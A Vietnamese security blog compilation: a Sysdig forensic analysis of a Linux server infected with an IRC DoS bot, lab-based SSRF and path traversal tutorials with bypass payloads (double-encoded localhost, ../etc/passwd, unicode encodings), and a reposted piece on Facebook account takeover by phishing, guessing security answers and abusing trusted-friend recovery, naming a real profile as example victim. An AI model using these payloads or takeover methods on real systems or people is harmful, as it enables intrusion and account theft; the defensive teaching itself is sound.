1.png

Phân tích tấn công tới máy chủ Linux

Lời mở đầu
Có bao giờ bạn đặt câu hỏi rằng những giải pháp bảo mật liệu đã làm có chính xác hay chưa ? Điều gì thực sự xảy ra khi bạn là nạn nhân của những vụ tấn công đơn ? Kẻ tấn công đã làm những gì ? Hi vọng bài viết phần nào sẽ trả lời được những câu hỏi đó bằng cách phân tích những cuộc tấn công vào server của bạn. Công cụ được tôi sử dụng đó là Sysdig.
Cài đặt
Để cài đặt tự động sysdig chỉ cần chạy lệnh sau đây với root hoặc sudo.
Tìm hiểu cuộc tấn công máy chủ
Cấu hình sysdig khởi động với enable compression (-z) và tuỳ chọn capture 4906 bytes cho mỗi I/O buffer.
sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz
Có 3 thứ cần phải lưu tâm hàng đầu :
  • Có cái nhìn tổng thể về các process
  • Network
  • I/O
Đầu tiền, chúng ta nhìn vào nhưng top process bằng network I/O trên máy chủ bị tấn công :
1.png
Có vẻ quá nhiều lưu lượng cho 1 máy chủ và quan trọng nó vẫn chưa đi vào hoạt động. Vậy tại sao lại vậy ? Tiếp theo chúng ta sẽ làm rõ hơn bằng cách nhìn vào các kết nối mạng :
2.png
Vậy có hơn 800MB UDP traffic. Điều này cho thấy máy chủ này đã bị DoS. Có thể kẻ tấn công đã cài đặt botnet, chúng ta sẽ cùng làm rõ điều này hơn.
3.png
Điều gì đây? Những kẻ tấn công đã tạo ra một thư mục ẩn trong /usr/bin với cái tên khá “thông minh” .shm, tải tập tin được archive tại URL ở trên. Dưới đây là những gì kẻ tấn công đã làm tiếp theo :
4.png
Chúng ta thấy kẻ tấn công đã tải 1 file pdf ẩn, có vẻ như nó là 1 perl script. Sau khi thực thi script đó kẻ tấn công đã xoá khỏi server. Muốn hiểu được rõ hơn chúng ta cần biết trong script đó có gì. Nhưng đương nhiên chúng cũng đủ thông minh khi cũng xoá hỏi từ URL trên. Thật may với công cụ Sysdig, nó ghi lại mọi quá trình hoạt động đó.
5.png
Đó là perl DoS client được điều khiển từ IRC, vị vậy những kẻ tấn công có thể dễ dàng quản lý hàng trăm hàng nghìn server bị tấn công. Chúng ta có thể đoán được botnet này có nhiệm vụ nhận UDP IRC message, sau đó sẽ flood toàn bộ network traffic. Hãy thử xem nếu một ai đó gửi đi 1 lệnh :
6.png
Như bạn thấy, bot đã nhận được kết nối TCP có chứa lệnh tấn công IP 39.115.244.150 trên cổng 800, đó cũng là IP chúng ta đã thấy ở đầu trong dach sách kết nối với hơn 800MB traffic. Nhưng có vẻ cuộc tấn công chưa dừng lại ở đây ☹
7.png
magixlabs là gì ? Mr.Google trả lời đó là 1 loại rootkit, nhưng điều chúng ta muốn là phân tích nó, vì vậy chúng ta lại sử dụng sysdig một lần nữa.
8.png
Ah, một loạt cái file nhị phân, chúng muốn thay thế những file nhị phân của hệ thống.
9.png
Có vẻ chúng rất tốt bụng đấy chứ, còn làm một bản copy để backup lại để cho chúng ta nếu có nhu cầu ☺. Nhưng gì chúng ta tìm được đó là 2 botnet IRC, các file nhị phân. Nhưng vẫn có điều còn chưa rõ đó là traffic UDP được tạo ra bởi tiến trình/usr/bin/httpd và /usr/local/apac.
$ sysdig -r trace.scap.gz -A evt.args contains /usr/local/apac ...
955716 06:13:20.225363385 0 perl (10200) < clone res=10202(perl) exe=/usr/local/apach args= tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/tmp fdlimit=1024 flags=0 uid=0 gid=0 exepath=/usr/bin/perl ...
$ sysdig -r trace.scap.gz proc.pid = 10200
954458 06:13:20.111764417 0 perl (10200) < execve res=0 exe=perl args=.sloboz.pdf. tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/run/shm fdlimit=1024 exepath=/usr/bin/perl
Kết luận
Chỉ cần sử dụng một công cụ đơn giản Sysdig, chúng ta có thể theo dõi khá chính xác được những hoạt động của hệ thống. Trong bài viết IP và URL được người viết bài lấy từ một số tài liệu trên internet nhằm để các bạn có thể hiểu rõ hơn. Mặt khác, những gì trong bài viết chỉ bó hẹp trong cách suy nghĩ của người viết bài, còn rất nhiều điều khác đang chờ chính các bạn tự khám phá.
0b192762-6c39-4255-ad05-0e58ea99deb0.png

Server-side request forgery (SSRF)

SSRF là gì?

Server-side request forgery (SSRF) là một lỗ hổng web cho phép attacker thực hiện ở phía server các requests đến domain tùy ý của kẻ tấn công.
Trong SSRF, các attacker có thể khiến máy chủ kết nối đến chính dịch vụ của nó hoặc các dịch vụ của bên thứ ba nào đó.

Hậu quả

Một cuộc tấn công SSRF thành công có thể dẫn đến cách hành động truy cập dữ liệu trái phép trong một tổ chức, trong chính ứng dụng đó hoặc trong các hệ thống back-end khác mà ứng dụng đó có thể giao tiếp. Trong một số trường hợp SSRF có thể dẫn đến attacker có thể thực hiện command execution.

Một số cách thức tấn công

1. Tấn công máy chủ cục bộ

Giả sử có một trang web bán hàng mà kẻ tấn công muốn truy cập đến trang admin:
Attacker truy cập trực tiếp trang admin từ phía client
GET /admin HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=xyz
Upgrade-Insecure-Requests: 1
Sau khi truy cập trang admin từ phía client thì attacker nhận được mã 401 Unauthorized và message thông báo Admin interface only available if logged in as an administrator, or if requested from loopback nghĩa là chúng ta không thể truy cập trực tiếp được trang quản trị admin với một vai trò người dùng thường.
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1940
...
...
...

<div class="container is-page">
Admin interface only available if logged in as an administrator, or if requested from loopback
</div>
Tại trang web bán hàng này có chức năng xem các sản phẩm có tại các cửa hàng đó hay không. Để cung cấp thông tin cho khách hàng thì ứng dụng đã truy vấn đến các REST APIs khác nhau. Chức năng này được thực hiện bằng các chuyển URL đến endpoint back-end API thông qua front-end HTTP request.
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 97
Connection: close
Cookie: session=xyz

stockApi=http%3a//stock.weliketoshop.net%3a8080/product/stock/check%3fproductId%3d1%26storeId%3d1
Dựa vào các thức mà ứng dụng gửi yêu cầu attacker đã thay đổi yêu cầu truy cập đến trang quản trị admin
stockApi=http%3a//stock.weliketoshop.net%3a8080/product/stock/check%3fproductId%3d1%26storeId%3d1
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 31
Connection: close
Cookie: session=xyz

stockApi=http://localhost/admin
Như vậy là attacker đã truy cập thành công trang admin.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=xyz; Secure; HttpOnly
Connection: close
Content-Length: 2562
...
...
...

<section class="maincontainer">
<div class="container is-page">
<section>
<h1>Users</h1>
<div>
<span>administrator - </span>
<a href="/admin/delete?username=administrator">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
</section>
<br>
<hr>
</div>
</section>
Vì sao xảy ra những vấn đề như vậy:
  • Việc kiểm tra kiểm soát truy cập được thực hiện ở phía front-end mà không phải phía server.
  • Ứng dụng cho phép truy cập trang quản trị mà không cần đăng nhập, có thể truy cập đối với bất kỳ người dùng nào từ phía local.

2. Tấn công SSRF với while list input filters

Thường một số ứng dụng chỉ cho phép một số đầu vào mà của người dùng như bắt đầu bằng, matches,… với while list mà họ đã định ra. Đôi khi chúng ta có thể khai thác sự không đồng nhất trong việc phân tích URL.
Đây là cấu trúc một URL dựa vào đó mà ta có thể khai thác cách phần tích URL của một máy chủ
scheme://user:pass@host:port/path?query=value#fragment
  • Thêm thông tin đăng nhập vào URL trước hostname
  • Sử dụng # để chỉ ra nội dung của mục con.
  • URL-encode
  • Có thể sử dụng kết hợp tất cả các trên tùy vào mỗi ứng dụng mà họ filters khác nhau.
Vẫn giống ví dụ trước cũng là một trang bán hàng có chức năng xem các sản phẩm có ở đó hay không, nhưng lần này ứng dụng đã kiểm tra kỹ hơn đầu vào mà người dùng nhập vào.
Trong trường hợp này attacker cũng đổi host nhưng đã bị chặn lại bởi ứng dụng web chỉ chấp thuận host stock.weliketoshop.net

POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 25
Connection: close
Cookie: session=xyz

stockApi=http://127.0.0.1

HTTP/1.1 400 Bad Request
Content-Type: application/json
Connection: close
Content-Length: 58

"External stock check host must be stock.weliketoshop.net
Khi không thay đổi được host attacker thử thêm username vào URL thì nhận được response Internal Server Error điều này khiến cho attacker nghi ngờ rằng chúng đang cố gắng kết nối đến server là “username”.
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 47
Connection: close
Cookie: session=xyz

stockApi=http://username@stock.weliketoshop.net
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Connection: close
Content-Length: 51

"Could not connect to external stock check service"
Khi đó attacker thử kết nối đến server localhost với #fragment là @stock.weliketoshop.net và kết quả là vẫn không thu được gì.
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 49
Connection: close
Cookie: session=xyz

stockApi=http://localhost#@stock.weliketoshop.net
HTTP/1.1 400 Bad Request
Content-Type: application/json
Connection: close
Content-Length: 58

"External stock check host must be stock.weliketoshop.net"
Cho đến khi attacker Double-URL encode và nhận được response 200 OK thì một trong những kết quả tồi tệ nhất của một trang web khi bị attack cũng đã xuất hiện ^_^
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 53
Connection: close
Cookie: session=xyz

stockApi=http://localhost%2523@stock.weliketoshop.net
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=xyz; Secure; HttpOnly
Connection: close
Content-Length: 10767
...
...

<section class="top-links">
<a href="/login">Account login</a> |
<a href="/admin">Admin panel</a> |
</section>
Đến đây attacker có thể vào trang admin như một người quản trị bình thường
POST /product/stock HTTP/1.1
Host: xyz.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Origin: https://xyz.web-security-academy.net
Content-Length: 59
Connection: close
Cookie: session=xyz

stockApi=http://localhost%2523@stock.weliketoshop.net/admin
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=xyz; Secure; HttpOnly
Connection: close
Content-Length: 2566
...
...
...

<section>
<h1>Users</h1>
<div>
<span>administrator - </span>
<a href="/admin/delete?username=administrator">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
</section>
Những nguyên nhân xảy ra:
  • Do việc xử lí URL không được đồng nhất.
  • Không kiểm soát hết được input mà người dùng hay attacker truyền vào.
Ngoài ra còn một số kiểu tấn công khác tùy thuộc vào mỗi ứng dụng web đó xử lý và cách lập trình viên xử lý input mà người dùng nhập vào.

Cách ngăn chặn

Để ngăn ngừa các lỗ hổng SSRF trong ứng dụng web bạn nên sử dụng các while list các domains và protocols được phép truy cập tài nguyên từ phía máy chủ.
Nên tránh sử dụng các chức năng mà người dùng trực tiếp yêu cầu tài nguyên thay cho máy chủ. Ngoài ra bạn cũng nên filter user input(lọc đầu vào từ người dùng), trong trường hợp này nó rất khó để thực hiện bởi vì bạn không thể nắm hết được những input mà người dùng nhập vào.

Tham khảo

cdcf824e-4c32-4ac5-b2a3-2b3eb2c672b5.png

Tấn công Path traversal và cách thức phòng thủ

Giới thiệu

Hiện nay có 2 cơ chế bảo mật chính trong các web server hiện tại.
Access Control Lists (ACLs): Trên máy chủ thì người dùng chỉ được phép truy cập vào các thư mục, file mà quản trị viên đã chỉ định từ trước gọi là Access Control Lists.
Root Directory: Là thư mục chứa tất cả các thư mục khác hoặc cũng có thể chứa các files.
Path traversal thực hiện quyền truy cập vào các thư mục nhạy cảm hoặc bị hạn chế truy cập.

Path traversal là gì?

  • Path traversal( hay còn gọi là Directory traversal) là một lỗ hổng web cho phép kẻ tấn công đọc các file không mong muốn trên server. Nó dẫn đến việc bị lộ thông tin nhạy cảm của ứng dụng như thông tin đăng nhập , một số file hoặc thư mục của hệ điều hành. Trong một số trường hợp cũng có thể ghi vào các files trên server, cho phép kẻ tấn công có thể thay đổi dữ liệu hay thậm chí là chiếm quyền điều khiển server.

Ví dụ về cách tấn công.

  • Một ứng dụng load ảnh như sau:
<img src="/?filename=test_image.png">
  • Khi chúng ta gửi một request với một param filename=test_image.png thì sẽ trả về nội dung của file được chỉ định với tệp hình ảnh ở /var/www/images/test_image.png.
  • Ứng dụng không thực hiện việc phòng thủ cuộc tấn công path traversal, kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file trong hệ thống.
    • ví dụ:
      https://hostname.abc/?filename=../../../etc/passwd
      • Khi đó ứng dụng sẽ đọc file với đường dẫn là /var/www/images/../../../etc/passwd với mỗi ../ là trở về thư mục cha của thư mục hiện tại. Như vậy với ../../../ thì từ thư mục /var/www/images/ đã trở về thư mục gốc và file /etc/passwd chính là file được đọc.
      • Trên các hệ điều hành dựa trên Unix thì /etc/passwd/ là một file chứa thông tin về các người dùng.
      • Trên Windows thì có thể dùng cả hai ../ và .. để thực hiện việc tấn công này.
      • Đây là một trang web và chúng ta có thể xem các sản phẩm của họ dưới dạng hình ảnh. ảnh
      • Thử gửi một request đọc file /etc/passwd xem sao:
      • Và kết quả là chúng ta đã đọc được file /etc/passwd:
  • Thế nhưng chả có lý do gì mà các dụng không thực hiện việc phòng thủ các cuộc tấn công path traversal khi mà lỗ hổng này rất nghiệm trọng. Vậy làm sao để bypass?
  • Sau đây là một số cách bypass:
    • Ta thử với ../../../etc/passwd thì bị chặn, ta có thể thử bằng cách dùng đường dẫn tuyệt đối như /etc/passwd
       
    • Như vậy là param đã nhận đường dẫn tuyệt đối và chúng ta có thể đọc được file /etc/passwd
    • Hay một cách khác bạn có thể bypass bằng cách sử dụng ../ lồng nhau giống như trong trường hợp này: 
    • Một cách khác nữa chúng ta có thể encode hoặc null byte để vượt qua filter input
    • Ngoài ra các bạn có thể sử dụng
      • utf-8 unicode encoding
        • . = %u002e
        • / = %c0%af, %e0%80%af, %c0%2f
        • = %c0%5c, %c0%80%5c
      • 16-bit unicode encoding
        • . = %u002e
        • / = %u2215
        • = %u2216

Một số cách ngăn chặn.

  • Nên validate input của người dùng trước khi xử lý nó.
  • Sử dụng whitelist cho những giá trị được cho phép.
  • Hoặc tên file là những kí tự số,chữ không nên chứa những ký tự đặc biệt.

Tham khảo

1 Số Phương Pháp Check Nick FaceBook Hiện Nay

Nguồn: http://www.votam.ug/2014/03/1-so-phuong-phap-check-nick-facebook.html#ixzz35I5yBQUB

Chào các anh em lâu ngày rồi Vô Tâm mới post lại bài ở blog nhỉ.Hôm nay rảnh rồi ngồi viết 1 ít phương pháp check nick fb hiện nay mà 1 số người vẫn hay dùng để check nick.Topic này mình viết nhằm mục đích cho ae hiểu được cơ cấu của các phương pháp check mà phòng tránh nhé chứ ko phải khuyên các bạn sử dụng các phương pháp trên để check nick người khác
-Phương pháp 1: Kĩ thuật phishing
Chắc nhiều anh em trong VHB mình cũng biết phishing là gì nhỉ (Nó là 1 dạng website fake của 1 website nào đó nhằm lừa victim để lấy account hoặc info cá nhân. Các coder chỉ cần rip code về và thêm 1 hàm php lưu logs hoặc send mail thì đối với những ai ko biết rõ về phương pháp này sẽ rất dễ bị mắc bẫy
Demo: http://phucnguyen.tv/fb.php RIP giao diện fb và giờ đã bị FB cảnh báo rồi
-Phương Pháp 2:Là kĩ thuật đoán câu trả lời bảo mật
Phương pháp này gọi là đoán pass thần chưởng mà dân hacker chúng ta hay gọi. Để check 1 nick mà khi nick đó yêu cầu câu trả lời bảo mật thì nếu gặp những câu hỏi dễ mà dễ đoán như: Mẹ bạn quê ở đâu?, Bạn sinh ra ở TP nào… thì trước khi trả lời thì chúng ta cũng cố gắng tìm hiểu info của victim cái đã. Nếu victim để tôàn bộ info của mình lên wall cá nhân thì cơ hội đoán pass thần chưởng của chúng ta sẽ có xác suất 9 xác rất cao. Còn gặp các câu hỏi Giao viên chủ nhiệm, hay lớp 1 bạn học ở đâu thì có lẽ sẽ hơi khó đoán. Nói chung phương pháp này nhờ may mắn 🙂

 Phương pháp 3: Là Phương Pháp Dùng 3 Bạn bè để lấy lại account
Phương pháp này trước khi bị fb fix 1 time thì phương pháp này khá phổ biến đối với những ai hay check nick như Thi Gia-GhostTeam. Đến thời điểm hiện nay thì FB đã fix bảo mật là dùng 3 bạn bè xác minh thì phải đợi 24h sau nếu ko ai tranh chấp thì mới đc change pass mới
Ở đây method 3 friend là gì: Là phương pháp nhờ 3 bạn bè của victim lấy lại nick với tư cách khi mình chọn 3 bạn bè đó thì fb sẽ tự động gửi về 1 đoạn mã code xác minh và 3 bạn này nhập mã vào nếu xác minh thành công thì sẽ đợi 24h sau. ( Trước khi bị fix thì Thi Gia sử dụng Phương Pháp này và dùng thêm 3 acc clone add friend vs victim sau đó rồi tiến hành check nick.Khi check chọn 3 acc clone để fb gửi về. chứ ko nếu chọn bừa bạn của victim thì mĩnh sẽ ko có đoạn code để xác minh vì thế sẽ ko check nick đc)



Và đây mình sẽ hướng dẫn các bạn bảo mật để không bị check nick bằng phương pháp này
-Đầu tiên các bạn vào Thiết Lập–>Bảo mật–> Sổ liên lạc đáng tin cậy ( các bạn chọn 3 friend tùy muốn để sau này nếu có bị mất nick thì mình cũng nhớ 3 bạn bè mà mình đã chọn. Đối vs cách chọn như thế thì attacker muốn check nick bạn cũng ko thể đoán đc 3 friend bạn chọn là ai)

———————————————————————————————–
Hướng dẫn mọi người forgot pass khi ko nhớ email hoặc email của victim đã bị ẩn
Ở đây mình dùng bạn này để làm victim: https://www.facebook.com/zMrTen?fref=ts
info của bạn ấy hoàn toàn ko có gì nhưng ko sao. Các bạn cứ vào fb.com sau đó bấm quên mật khẩu. Tiếp theo các bạn ko có email thì có thể dùng username của người này để forgot cũng đc: zMrTen và cuối cùng sẽ hiện ra thế này

  Mình hoàn toàn ko có 1 info bất kì nào của victim thì các bạn bấm vào dòng text: Không còn truy cập đc nữa để sử dụng method thứ 2 và thứ 3 như mình đã nói nhé.
P/s: Bài viết này mình viết giúp các bạn hiểu và có kinh nghiệm để phòng tránh! Nếu cảm thấy hay thì like cho mình phát nhé
Vô Tâm!
Nick FB Chú Lynk mem VHB nhà mình :